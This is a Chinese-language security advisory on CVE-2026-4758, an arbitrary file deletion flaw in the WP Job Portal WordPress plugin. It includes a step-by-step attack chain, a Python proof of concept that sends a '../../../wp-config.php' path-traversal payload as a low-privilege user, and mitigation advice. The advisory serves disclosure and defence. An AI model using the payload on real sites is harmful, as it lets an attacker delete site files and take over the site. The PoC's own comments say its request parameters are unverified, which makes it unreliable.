IPBUF安全漏洞报告
English
CVE-2026-4758 CVSS 8.8 高危

CVE-2026-4758 WP Job Portal任意文件删除漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-4758
漏洞类型
任意文件删除
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress WP Job Portal 插件

相关标签

任意文件删除WordPressWP Job PortalRCE目录遍历

漏洞概述

该漏洞影响WordPress的WP Job Portal插件,其原因是`WPJOBPORTALcustomfields::removeFileCustom`函数中缺乏足够的文件路径验证。在2.4.9及以下版本中,经过身份验证的攻击者(仅需订阅者权限)即可利用此漏洞删除服务器上的任意文件。通过删除关键文件(如wp-config.php),攻击者可以轻易导致远程代码执行,从而完全控制受影响的网站。该漏洞CVSS评分为8.8,属于高危漏洞,危害极大。

技术细节

该漏洞源于WordPress插件WP Job Portal在处理自定义字段文件删除请求时,未对用户输入的文件路径参数进行严格的校验和过滤。具体而言,在`includes/classes/customfields.php`文件的`removeFileCustom`函数中,代码直接信任并使用了前端提交的路径参数,导致攻击者可以通过目录遍历序列(如`../`)绕过目录限制,访问并删除Web服务器上的任意文件。由于该漏洞仅需低权限(如订阅者Subscriber)的认证账户即可触发,攻击门槛极低。最严重的利用场景是攻击者删除关键的`wp-config.php`配置文件。一旦该文件被删除,WordPress将无法连接数据库并引导用户进入重新安装流程。攻击者可利用此机会重新初始化网站,设置恶意管理员账户,从而完全接管服务器并实现远程代码执行(RCE)。此外,删除`.htaccess`或其他敏感文件也可能导致安全防线崩溃。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站安装了 WP Job Portal 插件,且版本在 2.4.9 及以下。
STEP 2
获取低权账户
攻击者在目标站点注册或通过其他方式获取一个最低权限(如订阅者 Subscriber)的账户凭证。
STEP 3
发送恶意请求
攻击者利用该账户登录,并发送包含目录遍历字符(如 ../)的特制请求到 `removeFileCustom` 函数,指定删除 `wp-config.php`。
STEP 4
触发重安装/RCE
服务器删除配置文件后,WordPress 触发安装流程,攻击者访问首页完成恶意重装,获取管理员权限,实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" # 1. Authenticate and get cookies session = requests.Session() login_data = { 'log': username, 'pwd': password, 'redirect_to': '', 'wp-submit': 'Log In' } # Note: Login URL might differ, this is a generic example session.post("http://example.com/wp-login.php", data=login_data) # 2. Exploit Arbitrary File Deletion # The payload attempts to delete wp-config.php using path traversal exploit_data = { 'action': 'wpjobportal_ajax_handler', # Action name needs verification based on plugin hooks 'task': 'removeFileCustom', 'path': '../../../wp-config.php' # Path traversal payload } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Request sent successfully. Check if file is deleted.") else: print("[-] Failed to send request.")

影响范围

WP Job Portal <= 2.4.9

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用 WP Job Portal 插件。管理员可以通过服务器端的文件权限控制,禁止 Web 进程写入或删除 `wp-config.php` 等关键文件,或者通过重写规则阻断对插件特定 AJAX 接口的非管理员访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表